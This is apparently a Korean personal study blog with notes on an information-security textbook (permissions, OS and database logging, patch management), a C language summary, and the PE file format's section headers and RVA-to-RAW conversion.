DCL (Data Control Language) : 권한 관리를 위한 질의문

DDL과 DML은 DCL에 의해 허용(Grant) 또는 거부(Deny)됩니다.

<뷰에 대한 권한 관리>

데이터베이스에 대한 중요한 보안 사항중 하나는 뷰(View)이다. 뷰는 각 사용자에 대해 참조 테이블의 각 열에 대한 권하을 설정하는 것이 불편해서 만든 가상 테이블이다.


  • 응용프로그램의 권환 관리

응용프로그램의 권한 설정은 관리자 계정고 일반 사용자 계정으로 나뉜다. 

응용프로그램에 보안상 취약점이 있을 경우 공격자는 이 취약점을 통해 해당 프로세스의 권한을 얻을수 있다.


로그 관리


Authentication(인증) : 자신의 신원을 시스템에 증명하는 과정

Authorization(인가) : 신원이 확인된 사람이 출입문에 들어가도록 허락되는 과정

Accounting : 시스템에 로그인한 후 시스템이 이에 대한 기록을 남기는활동

//AAA라 부르기도 합니다.

로그정보는 해커나 시스템에 접근한 악의적인 사용자를 추적하는데 많은 도움이 된다.


  • 운영체제의 로그 관리

윈도우의 경우 이벤트(Event)라 불리는 중앙 집중화된 형태로 로그를 수집하여 저장하지만, 유닉스는 로그를 여러곳에 산발적으로 저장한다. 그래서 윈도우의 경우 관리가 편하지만 공격자가 하나의 로그만 삭제하면 되므로 위험이 크다. 그에 반해 유닉스의 경우는 관리가 어렵지만 윈도우보다 공격자를 찾는것이 훨씬 쉽다.

<윈도우의 로그>

제어판 > 관리도구 > 로컬보안정책 > 로컬정책> 감사정책 을 통하여 로깅정책을 적용하면 제어판 > 관리도구 > 이벤트 뷰어를 통하여 쌓이는 로깅정보를 확인 할수 있다.

>윈도우의 로그 종류

개체액세스 감사            //객체 대하여 접근을 시도하거나 속성변경 등을 탐지

계정관리 감사  

계정로그인 이벤트 감사

권한사용 감사

로그인 이벤트 감사

디렉터리 서비스 액세스 감사

정책변경 감사

프로세스 추적 감사

시스템 이벤트

<유닉스의 로그>

/usr/adm , /var/adm , /var/log , /var/run 과 같은 위치에 기록한다.

-UTMP :유닉스 시스템의 가장 기본적인 로그로 로그인 계정 이름, 환경, 로그인한 디바이스, 셸의 PID 등등의 저장을 확인할수 있다. UTMP는 텍스트가 아닌 바이너리 형태로 로그가 저장되며, w, who, users, whodo, finger 등의 명령어를 사용하여 로그를 확인한다

-WTMP : 위와 비슷하게 사용자들의 로그인,아웃, 시스템의 재부팅에 대한 정보를 담으며 last 명령을통해 확인

-Secure : 파일에 원격지 접속 로그와 su 및 사용자 생성등의 보안과 직접적으로 연관된 로그가 저장된다.

-History : 명령창에서 실행했던 명령에 대한 기록이 저장

-Syslog : 시스템의 운영과 관련한 전반적인 로그로써 서비스의 동작과 에러등 다양한 로그를 남긴다.


  • 데이터베이스의 로그 관리

<MS-SQL의 로그>

MicroSoft SQL Server Management Studio에서 서버를 선택한뒤, 속성 팝업창의 [보안] 메뉴애서 일반 '로그인 감사'와 'C2 감사 추적'을 설정 할 수있다. 

C2감사추적은 상세한 정보를 로그로 남기는 것으로, 빈번한 접속이 있는 경우에는 대량의 로그를 생성할 수 있다.

<오라클의 로그>

문잠감사 : 지정된 문장을 실행시켰을 경우 기록을 남긴다.

권한감사 : 특정한 권한을 사용했을 때 기록을 남긴다.

객체감사 : 특정한 객체에 대한 작업을 했을 경우 기록으 남긴다.


  • 응용프로그램의 로그 관리

응용프로그램 중에 보안과 관련되어 가장 중요도가 높은것은 웹서버와 FTP서버이다.

웹서버의 로그 분석은 웹해킹이 일어나는 원리를 이해하짐 못하면 로그 분석 자체가 어렵다. 따라서 웹서버로그를 분석하기 위해서는 반드시 웹해킹에 대한 상세한 지식의 획득이 선행되어야 한다.

IIS 웹 서버의 로그

아파치 웹서버의 로그


  • 네트워크 장비의 로그 관리

네트워크의 경우 일반적으로 대량의 트래픽이 생성되고, 대부분의 트래픽이 일시적으로 존재했다가 사라지기 떄문에 살펴볼수 있는 로그가 다양하지는 않다. 

-네트워크 보안 시스템의 로그

침입차단, 탐지, 방지 시스템 등 다양한 보안 시스템의 로그를 확인할수 있다. 이러한 다양한 보안 시스템의 로그는 통합로그관리시스템(SIEM)에 의해 수집되고 관리되기도 한다.

-네트워크 관리 시스템의 로그

네트워크 트래픽 모니터링 시스템과 네트워크 관리 시스템의 로그를 참고 할 수 있다.

-네트워크 장비인증 시스템의 로그

대규모의 네트워크를 운영하는 곳에서는 라우터나 스위치의 인증을 일원화 하기 위해 인정 서버로 TACACS+를 사용하기도 한다.


라우터나 스위치를 제외한 대부분의 장비드에는 저장 공간이 없어 별도로 로그서버를 두고 운영한다.

각 네트워크 장비에서 생성되는 로그는 네트워크를 통해 로그서버로 전송된다. 이는 보안에도 장점이 있는데 바로 공격자가 로그를 삭제하기 위해서는 로그서버의 위치를 찾아야 하고, 이 로그서버에 대한 해킹도 성공헤애 한다는점이다.


취약점 관리


  • 패치관리

보안설정을 아무리 잘해도 시스템 자체에 취약점이 존재하면 시스템 운영자 수준에서 이를 막을 수 있는 방법은 없다.  이럴 경우 제작사가 만들어 배포하는 패치(Patch) 또는 서비스 팩을 적용해야 한다.


  • 응용프로그램별 고유 위험 관리

응용프로그램중에는 해당 응용프로그램을 통해 운영체제의 파일이나 명령을 실행시킬수 있는 것이 있다. 만약 그 해당 응용프로그램의 관리자 계정의 패스워드가 취약한 경우 그에 대한 권한 뿐만 아니라 운영체제에 대한 접근 권한도 노출 될수 있다.


  • 응용프로그램을 통한 정보수집 제한

응용프로그램이 운영체제에 직접적인 영향을 미치지 않아도 응용 프로그램의 특정 기능이 운영체제의 정보를 노출시키기도 한다.


*본 게시글은 정보보안개론(한빛미디어)을 참고하여 복습차원에서 만든 것임을 밝힙니다.


'Study > Book' 카테고리의 다른 글

정보보안개론 0x06  (0) 2015.01.23
정보보안개론 0x05  (0) 2015.01.22
정보보안개론 0x04  (0) 2015.01.21
정보보안개론 0x03  (0) 2015.01.13
정보보안개론 0x02  (0) 2015.01.12

C언어 요약정리

Kail-KM
|2015. 1. 10. 02:50

#변수의 자료형

정수형 변수

실수형 변수


연산자


#대입연산자와 산술연산자

= +

- *

/ %


num+=1  //num=num+1


#증가,감소 연산자

++num --num

num++ num--


#관계 연산자

> <

>= <=

== !=


#논리연산자

&&:둘다참일떄 참반환

||:둘중하나참이면 참반환

! :A가 가짓이면 참반환.


#비트연산자

& : AND연산 // 두 비트가 모두 1일때 1일 반환

| : OR 연산 // 둘중 하나라도 1이면 1을 반환

^ : XOR 연산 // 두개가 서로 다를 경우에 1을 반환

~ : 비트반전시킴 // 0을 1로 반환, 1을 0으로 반환

<<: 비트 열의 좌이동 //num1<<2 2칸 왼쪽으로 이동

>>: 비트 열의 우이동 //num1>>2 2칸 오른쪽으로 이동



#정수의 표현방법

MSB(Most Significant Bit) : 부호를 나타낼떄 쓰인다.

0 0 0 0 0 0 0 0


맨앞이 MSB.


#자료형


정수형 char 1Byte

short 2Byte

int 4Byte

long 4Byte

long long 8Byte

실수형 float 4Byte

double 8Byte

long double 8Byte

****sizeof(int) sizeof(num1)

****scanf("%lf",&a);

double형 데이터를 입력받을때에는 서식문자 %lf를 사용


#unsigned 

unsigned가 붙으면 MSB 또한 범위를 나타내는 용도로 쓰이게 된다.


#ASCII Code

문자를 숫자로 표현하기 위하여 정의된 아스키 코드

//프로그램상에서의 문자표현은 ' '가 사용된다.

%c    %d

'A' = 65

'Z' = 90


#자료형의 변환

int num1 = 3;

double num2= 2.5*(double)num1;

...

#특수문자의 종류

\a :경고음

\b :백스페이스

\f :폼피드

\n :개행

\r :캐리지 리턴

\t :수평탭

\v :수직탭

\' :'출력

\" :"출력

\? :?출력

\\ :역슬래쉬출력


#서식문자의 종류와 의미

%d  : 부호있는 10진수

%ld : 부호있는 10진수

%lld: 부호있는 10진수

%u  : 부호없는 10진수

%o  : 부호없는 8진수

%x  : 부호없는 16진수

%f  : 10진수의 실수

%Lf : 10진수의 실수

%e  : e방식의 실수

%g  : 값에따라 %f, %e 사이에서 선택

%c  : 값에 대응하는 문자

%s  : 문자열

%p  : 포인터의 주소값

//%#o %#x로 출력할경우 07 0x07로 출력


#필드 폭 지정하여 출력하기

%8d : 필드 폭 8칸 확보하고 우정렬 하여 출력

%-8d: 필드 폭 8칸 확보하고 좌정렬 하여 출력



#반복문

while(조건식)

for(초기식;조건식;증감식)

#반복문의 생략과 탈출

continue : 뒤를 생략하고 다시 반복조건을 확인하러 간다.

break : 가장 가까이에 포함된 반복문을 빠져 나오게 된다.


#조건문

if..if..if

if..else if..else

//조건연산자

(조건) ? data1 : data2

num1>num2?num1:num2;

return a<b ?a:b;

#switch

switch(num)

{

case 1:

puts("1 = one");

break;

case 'a':

puts("a = A");

break;

default:

puts("I Don't Know..");

}

return 0;


#goto문

if(n==1)

goto ONE;

...

ONE:

printf("input 1 \n");

goto END;

TWO:

printf("input 2 \n");

goto END;

OTHER:

printf("3 or other num..\n");

END:

return 0;


#함수 활용하기

   -인자0,반환0

int Add(int n1,int n2)

{

return n1+n2;

}

   -인자0,반환x

ShowAdd(int num)

{

printf("덧셈결과 : %d\n",num);

}

   -인자x,반환0

int Readnum()

{

int num;

scanf("%d",&num);

return num;

}

   -인자x.반환x

Howto()

{

puts("Explain...");

}


#지역변수

선언된 함수내에서만 접근이 가능

선언된 함수가 반환하면 지역변수와 마찬가지로 소멸.

중괄호내에서만 적용됨


반복문과 조건문에서 또한 선언가능

반복문에서 선언시 탈출과 진입을 여러번 반복한다.

그러므로 반복문내에서 초기화 할경우

반복 할때마다 초기화가 이루어진다.


#전역변수

지역변수와 동일한 이름으로 선언이 된다면?

해당 지역내에서는 전역변수가 가려지고 지역변수로의 접근이 이루어짐

#Static변수

선언된 함수내에서만 접근이 가능

딱 1회 초기화되고 프로그램 종료시까지 메모리 공간에 존재.


static int num1=0;

*주로 반복문의 변수선언에 쓰면 적당.

탈출과 진입으로 인해 매번초기화되지않고 1회만 초기화되어

유지되기에.

#재귀함수

함수내에서 자신을 다시 호출하는 함수

Recursive()

{

printf("Test..\n");

Recursive();

}

:wq

Recursive(int num)

{

if(num<=0)

return;

printf("Call.. %d\n",num);

Recursive(num-1);

}

:wq


#1차원 배열

int arr[5]={1,2};

=>> 1 2 0 0 0

arrlen=sizeof(arr)/sizeof(int)


#문자열 변수표현

char str[14]="Good Morning!";

NULL을 포함하여 14byte가 사용.

null='\0'

문자열을 입력받을때에는 배열의 이름앞에 '&'를 붙이면 안된다.

scanf함수호출을 통해서 입력받은 문자열의 끝에도 널문자가 삽입됨

C언어에서 표현하는 모든 문자열의 끝에는 널문자가 삽입됨.


#포인터

포인터변수란 메모리의 주소값을 저장하기 위한 변수이다.

int num;

int *pnum;

pnum=&num;


&num : 변수 num의 주소값

pnum = &num

pnum에는 num의 시작 주소가 위치하여 있다.


#포인터 &연산자와 *연산자

& : 피연산자의 주소값을 반환하는 연산자

피연산자는 변수이여야하며, 상수는 피연산자가 될수없다.

* : 포인터가 가리키는 메모리를 참조하는 연산자

*pnum=20;

pnum이 가리키는 메모리공간 변수num에 접근을하여...

사실상 *pnum은 변수num의 값을 의미하는것이다


#포인터와 배열의 관계

배열의 이름은 포인터이다.

arr= &arr[0]

arr[1] = *(arr+1) = *(ptr+1)

ptr[1] =  *(ptr+1)

>>>>[]와 * 둘중 하나라도 있다면 그것은 값을 나타낸다는 뜻이다.

포인터를 배열의 이름처럼 사용가능

int arr[i];

int *ptr;

ptr=arr; //ptr = &arr[0];

printf("%d\n",ptr[i]);

   ########## arr[i] = *(arr+i) ##### [ ] or * #############

*(ptr+0), *(ptr+1), *(ptr+2)

ptr[0]  ptr[1] ptr[2]

*(arr+0), *(arr+1), *(arr+2)

arr[0]  arr[1] arr[2]

열별로 모두 같은 값이다.

==========================================

#include <stdio.h>


main()

{

        int arr[6]={1,2,3,4,5,6};

        int *fp=&arr[0];

        int *bp=&arr[5];

        int i,temp;


        for(i=0;i<3;i++)

        {

                temp=*fp;

                *fp=*bp;

                *bp=temp;


                fp++;

                bp--;

        }

        for(i=0;i<6;i++)

        {

                printf("%d ",arr[i]);

        }

}

===========================================

#상수형태의 문자열을 가리키는 포인터

char str1[] = "My String"; //배열길이 자동계산

char *str2 = "Your String"; //문자열의 첫번째 주소값반환

str1 : 그자체로 문자열 전체를 저장하는 배열

str2 : 메모리상에 저장된 문자열의 첫번째 문자만 단순히 가리키고있음.


printf("Show your string");

printf(0x1234);

***   " "로 묶여서 표현되는 문자열은 그 형태에 상관없이 메모리 공간에 저장 된후 그 주소값이 반환된다.

그러므로 printf 함수는 문자열을 통째로 전달받는 함수가 아닌, 문자열의 주소값을 전달받는 함수이다.


#포인터배열

포인터배열 : 주소값의 저장이 가능한 배열

int *arr[3]={&n1,&n2,&n3};

printf("%d %d %d \n", *arr[0],*arr[1],*arr[2]);


[]와 *가 동시에 있다면 그것은 포인터배열이다.


#문자열을 저장하는 포인터배열

char *strarr[3]={"123","456","789"};

printf("%s",strarr[0]);

==char *strarr[3]={0x1004,0x1048,0x2012};


#함수의 인자로 배열전달

**함수 호출시 전달되는 인자의 값은 매개변수에 복사가 된다.***

복사!!!


배열을 인자로 줄수 없기에 주소를 인자로 받는다.

simplefun(int *ptr)

{...}

main()

{int arr[5];int *ptr=arr;...simplefun(ptr)...}


배열의 주소값을 알아야 어디서든 배열에 접근하여 저장된 값을 참조하고 변경할수 있다.


scanf함수 호출시 &를 붙이는 이유 : 프로그램사용자로부터 값을 입력받아서 변수 num에 그 값을 채우는 일을 scanf함수가 하는것이다. 그리고 이를 위해서 num의 주소값을 알앙한다. 바로 변수 num에 접근하여 값을 채워넣을수 있기때문이다.


>>>>문자열이 배열에 저장될때 &를 쓰지 않는 이유는?

"문자열" = 0x1234 이기 때문이다. 즉 그 자체로 주소이기에 &연산자가 필요없이 바로 그 주소를 알수 있기 때문이다. > 그 주소에 접근을한다.



#Const선언

Const 선언은 변수에 저장된 값을 변경하는 것을 허용하지 않겠다는 뜻이다.

즉 const 선언은 값을 변경하는 방법에 제한을 두는 것이지 무엇인가를 상수로

만드는 선언은 아니다

+++Reversing으로는 그 값의 수정이 가능했음




#2차원배열

int arr[3][4];

00 01 02 03

10 11 12 13

20 21 22 23

int arr[2][6];

00 01 02 03 04 05

10 11 12 13 14 15


TYPE arr [세로][가로]


for(i)

for(j)

arr[i][j]

1 2 3

4 5 6

7 8 9 >> int arr[3][3] = {1,2,3,4,5,6,7,8,9};



#2중 포인터

int **dptr;

int num=1;

int *ptr=&num;

int **dptr=&ptr;


*dptr=... //*dptr은 포인터변수 ptr을 의미함

**dptr=... //**dptr은 num을 의미함

 다중포인터의 필요성

  : 함수 내에서 함수 외부에 선언된 변수에 접근하는 방법을 제시해준다.


#함수 포인터

:변수만 메모리공간에 저장되는 것은아니다. 프로그램 실행의 흐름을 구성하는 하수들도 바이너리형태로 메모리공간에 저장되어서 호출시 실행됨.



스트림과 데이터의 


#스트림과 데이터의 이동

프로그램 안으로 데이터가 흘러들어오는 것이 입력이고, 프로그램밖으로 데이터가 흘러나가는 것이 출력이다. 그리고 이러한 다리의 역할을 하는 매게차가 바로 스트림이다.

stdin : 표준입력 스트림

stdout: 표준출력 스트림

stderr: 표준에러 스트림

@문자단위 입력

getchar();

fgetc(File *stream);

ch1=getchar(); //문자입력

ch2=fgetc(stdin);//엔터키입력

@문자단위 출력

putchar(int c);

fputc(int c, FILE *stream);

putchar(ch1); //문자출력

fputc(ch2,stdout); //엔터키 출력

while(1)

{

ch=getchar();

if(ch==EOF)

break; //EOF : Control+Z or Control+D

putchar(ch);

}

>>EOF가 입력될떄까지 입력이 가능하며 여러문자를 한번에 입력할경우

그 문자수만큼 getchar 함수가 반복되어 모든 문자를 읽어드린다.


@문자열단위 입력

char *gets(char *s);

char *fgets(char*s,int n,file*stream);

char str[7];

gets(str); //지정한 배열을 넘어서는 길이의 문자열이

**********입력되면 할당되지 않은메모리공간을 침범.

char str[7];

fgets(str,sizeof(str),stdin);

//stdin으로부터 문자열을 입력 받아서 제시한 크기만큼 str에 저장

//문자열을 입력받으면 널문자가 자동추가.

//fgets의 경우 \n을 만날떄까지 문자열읽어드리며 \n또한 받아드림


@문자열단위 출력

int puts(const char *s);

int fputs(const cahr *s,File*stream);

puts(str);

puts("So Simeple String");

fputs(str,stdout);

fputs("So Simple String",stdout);


#표준입출력과 버퍼

입력버퍼 지우기

while(getchar()!='\n');

//\n이 읽혀질때까지 입력버퍼에 저장된 문자들을 지우는 코드


#문자열함수 //#include <string.h>

strlen : 전달된 문자열의 길이를 반환하되, 널문자는 길이에 포함X

char str[100];

...

int len=strlen(str);

...

len-1=0 >> \n이 있던자리에 null을 삽입.


@문자열 복사함수

strcpy(str2,str1); //str1의 문자열을 str2에 복사

strncpy(str1,str2,sizeof(str2));//str1을 str2로 복사하되 sizeof(Str2)만큼

***null문자의 삽입공간을 남겨두어야 한다.

//len-1=0


@문자열 덧붙이는 함수

strcat(str1,str2); //str1의 뒤에 str2를 덧붙인다.

strncat(str1,str2,8); //str1의 뒤에 str2를 최대 8개만큼 덧붙여라


@문자열을 비교하는 함수들

strcmp(str1,str2) //둘이 동일하면 0이 반환됨

strncmp(str1,str2,3) //앞의 세문자가 동일한경우 0이반환

...

char str1[]="test test";

char str2[]="test test";

>>> if(str1==str2) //문자열의 내용을 비교하는게 아니라 배열의 주소비교

...



#구조체

Structure : 하나이상의 변수를 묶어서 새로운 자료형을 정의

struct pos

{

int xpos;

int ypos;

}

struct person

{

char name[20];

char pnum[20];

int age;

}

main()

{

struct pos pos1,pos2;

...

scanf("%d %d",&pos1.xpos,&pos1.ypos);

..

scanf("%d %d",&pos2.xpos,&pos2.ypos);

}


(*ptr).xops=10; //ptr이 가리키는 xpos에 10저장

(*ptr).ypos=20; //ptr이 가리키는 ypos에 20저장

== ptr->xpos=10; 위와 같은의미로 사용이 가능하다.

ptr->ypos=20;


ptr->xpos +=1; //ptr이 가리키는 xpos의 값을 1증가

ptr->ypos +=2; //"" "" ""         2증가


@typedef 선언

typedef int INT //int의 또다른 이름 INT를 부여

typedef struct point Point //struct point에 Point라는 이름부여

typedef struct point

{

int xpos;

int ypos;

}Point;


@구조체 이름의 생략

typedef struct

{

int xpos;

int ypos;

}Point;



#공용체

:하나의 메모리 공간을 둘 이상의 방식으로 접근할수 있다.

typedef union ubox

{

int mem1;

int mem2;

double mem3;

}


#열거형 //syllable형 

typedef enum syllable

{

Do=1,Re=2,Mi=3,Fa=4,So=5;

}Syllable;



#파일 입출력

if(fp==NULL) //문자열의경우

puts("Faill OPEN..\n");

return -1; 통해 파일이 제대로 열리지 않을경우 인지


-fopen:스트림을 형성할때 호출하는 함수.

FILE * fopen(const char *filename,const char *mode);


FILE *fp=fopen("data.txt","wt");

fputc('A',fp);

...

fclose(fp); //스트림의 소멸을 요청하는 함수.


fopen은 출력 스트림이기에 파일에 데이터를 쓸수는 있지만 읽진 못함.


Mode    성격 파일없을경우

r:읽기가능 에러

w:쓰기가능 생성

a:끝에덧붙이기 생성

r+:읽기/쓰기 에러

w+:읽기/쓰기 생성

a+:읽기/덧붙이기 생성


text_file  > t

binary_file> b


MS-DOS 개행 : \r\n

Mac의 개행  : \r

Unix계열개행 : \n


**위에서의 stdin,stdout대신 fp를 넣으면 해당 파일로 바로 전송된다

fputc('a',fp);

fputs("Test 1 Test"\n",fp);

ch=fgetc(fp);

fgets(str,sizeof(str),fp);



#메모리의 동적할당

  • 데이터영역(Data area)

전역변수와 static으로 선언되는 변수가 할당

  • 스택영역

지역변수와 매개변수가 할당된다.

  • 힙 영역

프로그래머가 원하는 시점에 변수를 할당하고 소멸



#힙영역의 메모리 공간 할당과 해제

int main()

{

void * ptr1 = malloc(4); 4byte가 힙 영역에 할당

void * ptr2 = malloc(12); 12byte가 힙영역에 할당

...

free(ptr1); //ptr1의 4byte 메모리 공간해제

free(ptr2); //ptr2의 12byte메모리 공간해제

}

//malloc함수는 주소값을 반환한다. 따라서 포인터를 이용해 메모리 공간에 접근하여야 한다.

malloc 함수의 호출을 통한 메모리 공간의 할당을 가리켜 동적할당(dynamic allocation)이라 한다.


#선행처리 명령문

#define 지시자

#define 매크로 매크로몸체

#define NAME "Kali"

..

printf("%s ",NAME); // Kali로 출력됨


#매크로 함수

#define SQUARE(X) X*X

int a= SQUARE(2) //a=4;


#조건부 컴파일

#if...#endif : 참이라면(#else if 가능)

#ifdf..#endif: 정의되었다면(#else가능)

#ifndf.#endif: 정의되지 않았다면(#else가능)


#if

#else

#endif

-----------

#include <stdio.h>

#define ADD 1

#define MIN 0


int main()

{

int a,b;

printf ("input 2 num\n");

scanf("%d %d",&a,&b);

#if ADD //ADD가 '참'이라면

puts("Good");

#endif


#if MIN //MIN이 '참'이라면

puts("MIN GOOD");

#endif

return 0;

}



#define CON(UP,LOW) UP ## 00 ## LOW

int num = COM(22,77) //220077


##연산자는 매크로 함수의 전달인자를 다른 대상과 이어줄때 사용한다.



'Programming > C' 카테고리의 다른 글

getaddr.c  (0) 2015.05.06
EggShell.c  (0) 2015.05.06
MsgBox.dll  (1) 2015.03.22
Make Simple AutoRun  (0) 2015.02.26
Make Simple Bat File  (0) 2015.02.26

PE FILE Format 0x03

Kail-KM
|2015. 1. 10. 01:37

Section Header                //각 Section의 속성을 정의한 것


앞에서 PE 파일은 code,data,resource 등이 각각의 section으로  저장이 된다했었습니다.

  • code : 실행, 읽기 권한
  • data : 비실행, 읽기, 쓰기
  • resource : 비실행, 읽기
           이러한 Secion 들의 속성을 나타내는 것이 바로 Section Header 입니다.


IMAGE_SECTION_HEADER


typedef struct _IMAGE_SECTION_HEADER {

...

UNION {

...

DWORD VirualSize;

}Misc;

DWORD VitualAddress;

DWORD SizeOfRawData;

DWORD PointerToRawData;

...

DWORD Characteristice;

} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;



  • VirtualSize : 메모리에서 섹션이 차지하는 크기
  • VirtualAddress : 메모리에서 섹션의 시작 주소 (RVA)
  • SizeOfRawData : 파일에서 섹션이 차지하는 크기
  • PointerToRawData: 파일에서 섹션의 시작위치
  • Characteristices: 섹션의 특징( bit OR)


                                     //VirtualAddress & PointerToRawData  //IMAGE_OPTIONAL_HEADER32에 정의된                                             SectionAlignment & FileAlignment에 맞게 결정이 된다.

Notepad.exe 의  Section Header를 보면 3개의 Section이 존재하는 것을 확인 할 수가 있습니다.





RVA to RAW                              //  각 섹션에서 메모리의 주소(RVA), 파일 옵셋(RAW)


PE파일이 메모리에 로딩되었을떄 각 섹션에서 메모리의 주소(RVA)와 파일옵셋(RAW)을 잘 매핑 할수 있어야한다.

이러한 매핑을 일반적으로 "RVA ro RAW"라 합니다.


How to?

1)RVA가 속해 있는 Section 찾기

2)비례식을 사용해서 파일 옵셋(RAW)을 계산한다,

   비례식

RAW -PointerToRawData = RVA - VirtualAddress

>>    RAW= RVA - VirtualAddress + PointerToRawData


//RVA to Raw 는 PE header를 공부할때 가장 기본이 되는 개념이므로 잘숙지해야한다.

  • RVA는 PE 파일이 메모리에 로딩되었을때의 메모리 주소를 의미하고, RAW는 PE 파일이 로딩되기 전의 File Offset을 의미

  • 즉, RVA to RAW는 PE File의 각 Section이 Memory에 로딩되기 전의 File Offset과 메모리에 로딩된 후의 위치주소를 매칭하는 것이다.



**본 게시물은 http://www.reversecore.com 을 참고하여 복습용으로 옮겨 적거나 한 것이지 결코 제 머리에서 나온게 아님을 알려드립니다.  자세한건 Reversecore로 가시는게 더 좋습니다.

'Reversing > Theory' 카테고리의 다른 글

PE File Format 0x04  (0) 2015.01.13
IDA PRO 단축키  (0) 2015.01.13
PE FILE Format 0x02  (0) 2015.01.09
PE FILE Format 0x01  (0) 2015.01.08
C언어의 const 선언이 과연 리버싱에서 또한 값을 변경못하게끔 만들수 있는가?  (3) 2015.01.08